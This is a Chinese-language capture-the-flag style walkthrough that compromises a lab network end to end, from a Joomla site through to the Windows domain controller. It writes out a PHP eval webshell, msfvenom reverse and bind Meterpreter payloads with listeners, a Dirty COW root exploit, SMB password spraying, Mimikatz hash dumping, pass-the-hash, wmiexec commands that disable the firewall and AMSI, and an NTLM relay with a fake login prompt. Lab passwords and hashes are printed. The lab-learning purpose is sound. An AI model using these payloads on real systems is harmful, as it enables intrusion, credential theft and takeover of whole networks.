这个靶场是黑盒,密码啥的都没有,但是我为了部署在ESXI给小伙伴们一起打,费尽心思
现在部署好了,webip是172.18.129.248,起手goby
3个端口,22,80,3306

去80看看

是个CMS,joomla
边扫描目录边找历史洞

有个php探针

2.php看着像个马子
后台:http://172.18.129.248/administrator/index.php
http://172.18.129.248/configuration.php~暴漏了mysql账号密码,加上之前扫端口的时候扫到了3306

连连看testuser/cvcvgjASD!@

表多到不想看,找找后台管理员密码

加盐了,找一下盐

(后台上个fscan扫一下)
好好好,还找什么盐。。ssh密码都出来了(但是这个密码是我手动修改的再次不会利用)
root 123
root 1qaz@WSX

换成root数据库管理员连接
查询设置log开启
set global general_log = "ON";
检查是否开启
SHOW VARIABLES LIKE '%general%'

此时需要找到网址绝对路径才能写入shell,可以根据我们之前扫到的php探针获取
/var/www/html/1.php

写一个一句话木马,然后根据查询生成,选择不存在的php文件会回显权限不够,多半是没有写入权限了
数据库表中也没找到盐,试试自己添加一个用户


加好了还是登不上
我都怀疑前端有加密算法。。抓个包看看
也没有啊,去翻一翻相关cms的忘记密码怎么办
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
官网文章给了个密码,试试看
secret
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
直接数据库修改密码不顶用
还有命令,试试看
INSERT INTO `umnbt_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'adminying',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `umnbt_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

还是登录不进去,很奇怪,为啥会这样
仔细翻了翻数据库,发现这玩意有俩user表,真离谱
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'adminying',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
这次应该对了adminying secret

成功登录后台:

查过历史漏洞,后台有个模板编写的地方


找个php写马,这里我选择index.php(404我都没触发过)
<?php @eval($_POST[ying]); ?>

成功上马

web提权
是www-data权限,准备进行提权,先上个msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.18.124.194 LPORT=14444 -f elf > ying.elf
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 14444
run
上传码,执行
草,又这样


用蚁剑插件绕过看看(参考:https://xz.aliyun.com/t/10057?time__1311=Cqjx2DRiDt0QDQD%2FmIx8nQGC8d4zoRiD)
试了好几个,最后这个成功绕过


运行马子,运行失败
想了一下,问题好像是因为反代的原因,web是无法通网的,只有反代是通网的,导致直接msf回不来
尝试上传fscan扫一扫

5个IP 域控是10.10.10.10(win2012 R2,test.org),110是120的反向代理,
20(win2008)上也有一个网站,30是win7
没啥能利用的,一般这种时候,关键信息就在文件里面,瞎翻一下算了(这玩意好麻烦,希望)
草,什么都没找到
去了别人的wp,发现他们说tmp/mysql/test.txt有ssh的账号
结果我因为重启过,这玩意被删了
手动重新建一个(靶场搭载ESXI上,要给团队其他小伙伴打)
拿到账号密码wwwuser/wwwuser_123Aqx
远程上号
发现这个ssh是反代的ssh(实战环境基本上没这种可能性)

上个elf,先上线msf

接下来就是提权,查看一下内核uname -a

内核是2.6.32,去找找漏洞(https://www.cnblogs.com/sfsec/p/15163907.html)
searchsploit linux 2.6.32

好好好,有脏牛,拿下来
searchsploit -m 40839.c

把这个上传到反代上,里面应该是有写用法的

在反代机器上编译
gcc -pthread 40839.c -o dirty -lcrypt

运行后提示文件passwd.bak存在,那就删掉

创建提权用户成功,并且设置了密码123
firefart 123
切换用户


重新运行msf的马,获取最高权限

转发代理,准备接手内部web主机
run autoroute -s 10.10.10.0 255.255.255.0
run autoroute -p
生成一个正向马,放在web主机上
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=12222 -f elf > 12222.elf
运行马子,然后在msf主动连接
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set lport 12222
set rhost 10.10.10.120
run
连不上,非常怪,我每次msf的正向马都连不上,是我姿势有问题?

算了,反代反正也是内网的,不一定非要上线,想办法打其它3台主机
看了一下fscan的扫描结果,又看了看之前的打的靶场,现在没有一点思路
重新生成了一个马子,现在连上了

然后就是对那3台windows的渗透
检查了一下,两台linux机器都没有进域,在fscan也没扫到扫描能利用的漏洞的情况下,有些没思路了,进域还能利用域信息psexec,又或者域漏洞利用
去看了看别人写的横向渗透wp
总结了一下,大概就是查看端口,查看协议,135,445有没有开,起手先尝试永恒之蓝,没有就尝试smb密码枚举(这个还有一种叫法,叫做密码喷洒,横向渗透常用手段),还是没有结果就去获取数据库之类的弱口令,尝试连上数据库,FTP,SSH之类的,然后提权,进域,进域之后基本上抓hash,PTH横着走了
(还有一种办法叫NTLM Relay 攻击,伪造一个SMB服务器,然后配置,具体细节文章尾部会写,这种方法需要有天时地利人和)
use auxiliary/scanner/smb/smb_login
set rhosts 10.10.10.20 10.10.10.30 10.10.10.10
set SMBUser Administrator
set PASS_FILE passwd.txt
run

最后得到密码123qwe!ASD(真的,我就不该拿web弱口令来爆9W多个,爆死我了)
两台主机20,30都是:
Administrator/123qwe!ASD(这里得到的是本地管理员账号密码)
然后使用psexec上线30
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set smbuser administrator
set smbpass 123qwe!ASD
set rhost 10.10.10.30
run

成功上线,抓hash,加载kiwi
load kiwi
获取系统上的hash凭证
kiwi_cmd sekurlsa::logonPasswords
查看域控制器中的Kerberos 票据
kiwi_cmd sekurlsa::tickets
获取明文密码(一般只有win2012之前的版本才存在)
kiwi_cmd sekurlsa::logonPasswords
在这里我们获取系统上的hash凭证
(。。又是x64和x86,迁移一下)
ps
migrate 488

再来一次

拿到域用户
TEST.ORG/win7$
NTLM:bb6b48766fb280d74babb50e781bbc21
现在可以通过psexec 哈希传递攻击NTLM到win2008,或者直接用密码上win2008本地用户(主要是学习哈希传递攻击,在这里不适用本地用户smb登录)
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set smbuser administrator
set smb abc:bb6b48766fb280d74babb50e781bbc21
set rhost 10.10.10.20
run
结果连不上去(我也不知道为什么,用msf老出现这样那样的问题。。)
我学长让我搭好代理,换python脚本
use auxiliary/server/socks_proxy
run
使用ligolo-ng
在攻击机上面搭建proxy(默认端口11601)
./proxy -selfcert
proxy.exe -selfcert
然后在目标主机上使用agent
./agent -connect 目标主机:11601 -ignore-cert
agent.exe -conect 目标主机:11601 -ignore-cert
session进入连接:

ifconfig查看信息

在proxy上使用:(这个要新建一个控制台,然后添加相关路由)
windows:
route add 10.10.10.0 mask 255.255.255.0 172.18.129.248
linux:
ip route add 10.10.10.0/24 dev ligolo
验证路由:
route print
删除:
windows:
route delete 10.10.10.0
在proxy上输入start开启代理

然后本机的网络适配器上修改ligolo的IP,但是要注意不与其他IP冲突(如果10.10.10.0段存在DHCP服务器,可能不需要设置(我不知道,我感觉不需要))

测试连接:(真不容易,我要破防了,找了全网,没一篇教程这么细,全靠自己摸索)

研究了一下IPC和psexec,发现test\win7$没有办法登录win2008
使用IPC$和psexec的前提是,登录的账号必须是目标主机的管理员权限的用户,例如域管,又或者域用户在目标主机是管理员权限
比如A用户在A主机上是本地管理员,且在域中是域用户,但是在B主机不是管理员权限,这时候A用户无法通过IPC或者psexec登录B用户
但是如果A用户在A主机上是本地管理员,在域中是域管的角色,那么A用户就可以登录任意域内主机。
本地登录win2008成功

加载kiwi,抓取hash:
load kiwi
kiwi_cmd sekurlsa::logonPasswords

这里抓到域管账号了(之所以能抓到是因为域管登录过这台主机并且运行了一些东西)
test.org\administrator:zxcASDqw123!!

域控:
这里使用psexec登录域控
use exploit/windows/smb/psexec
set smbdomain test.org
set smbuser administrator
set smbpass zxcASDqw123!!
run
这边利用成功,但是没有返回会话

之前有搭过一个代理
现在用windows本机尝试一下
https://github.com/XiaoliChan/wmiexec-Pro
python wmiexec-pro.py -debug test.org/administrator:[email protected] exec-command -shell
成功上线


尝试上一个msf的正向码
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=12222 -f exe > ccc.exe
上传
python wmiexec-pro.py test\administrator:[email protected] filetransfer -upload -src-file "D:\work\靶场\红日3\ccc.exe" -dest-file "C:\windows\temp\ccc.exe"
上传失败,多半是防火墙拦住了

关防火墙(不关防火墙RDP上不去):
python wmiexec-pro.py -debug test.org/administrator:[email protected] firewall -firewall-profile disable
再来一次,还是失败,算了,直接RDP上去
开amsi绕过
python wmiexec-pro.py -debug test.org/administrator:[email protected] amsi -enable
开RDP
python wmiexec-pro.py -debug test.org/administrator:[email protected] rdp -enable

执着的话,还可以上个msf码
复制粘贴上去
双击运行

msf连接:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 12222
run
上线成功

为了给其他成员打,我恢复一下域控当前配置
横向利用:
在这里搞清楚一下psexec,PTH,WMI和IPC的用法和区别:
Psexec:
psexec是微软的工具,需要下载使用,以前相当于自带免杀,现在有的杀毒软件会报毒,该工具用于执行远程命令,且是以管理员的身份执行,而无需登录到该系统中。
原理:psexec通过SMB协议在远程计算机执行命令,通过IPC共享来创建远程服务,并通过该服务执行命令。
用法:
需要拥有目标有效凭证:用户名,密码或哈希值(NTLM)
IPC(Interprocess Communication):
IPC是指在操作系统中不同进程之间传递数据的机制,windows系统中有专门的IPC$共享,用于管理不同机器之间的进程间通信
原理:攻击者可以使用IPC$共享来枚举远程系统的共享资源,有些情况还能够执行命令。IPC$需要通过SMB协议来与其他主机通讯(139、445端口)
用法:
需要拥有目标有效凭证:用户名和密码或者哈希值(NTLM)
或者目标主机允许匿名访问IPC$(实战基本上没有)
PTH(Pass-the-Hash):
PTH是哈希传递攻击,其实在IPC$和psexec中也会用到
原理:windows在记录密码的时候会生成NTLM,而不是明文(win2012以及之后的版本),在进行IPC或者psexec的时候,可以直接使用NTLM登录,而并不需要密码
在域中,获取一个域用户的NTLM后,大部分的域主机都能登录
获取到域管的NTLM后,所有的域主机都能登录
用法:
需要拥有目标的有效凭证:用户名和NTLM哈希
或者是域用户(且在对方主机有权限)或域管的NTLM哈希
WMI(Windows Management Instrumentation):
定义:WMI 是微软提供的一种管理框架,允许远程管理和监控 Windows 系统。
原理:WMI 使用 DCOM(分布式组件对象模型)和 RPC(远程过程调用)协议进行通信,能够获取系统信息和执行命令。
用法:可以使用 PowerShell 的 Get-WmiObject 或 Invoke-WmiMethod 等命令在远程机器上执行操作。
需要获取目标的管理员用户名和密码(包括域管理)
PSHH(powershell):
psexec_psh指的是使用powershell作为命令执行的控制台
mysql日志生成getshell(需要有写权限):
set global general_log_file ='/var/www/html/2.php';
select "<?php @eval($_POST[ying]); ?>";

MYSQL直接写入文件getshell(需要有写权限):
show global variables like '%secure%';
如果写入是OFF可以设置为ON
set global secure_auth = "ON";
但是有可能报错:(实战的时候一般是用不了这个办法)
#1238 - Variable 'secure_file_priv' is a read only variable
NTLM Relay 攻击
工具使用说明:
impacket-master : 为了伪造smb服务器,抓取用户的密码
msf : 生成一个exe木马 ,结合impacket-master的smbrelayx.py使用
大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。
在这个靶场中的思路是:
通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。
首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.106 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe
#192.168.1.106 是kali的IP地址
将生成的木马文件上传到CentOS
然后进入Impacket的examples目录执行如下命令:
python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
# 攻击信息都会反弹到192.168.93.20这台主机
在这个靶场存在python环境问题
下面我们下载python3 环境
由于有一个认证失败的原因,因此不能直接用 pip install –upgrade pip 的方式。要用下面的方式进行安装
wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install
ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip
pip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket
执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:
nginx -s stop
执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机
由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听
在msf上开启对 win 2008(192.168.93.20)的监听
然后在win7上访问smb服务器,使得win 2008成功上线
顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run
然后就能抓到hash了
正向马上线后要及时迁移migrate PID ,否则容易掉线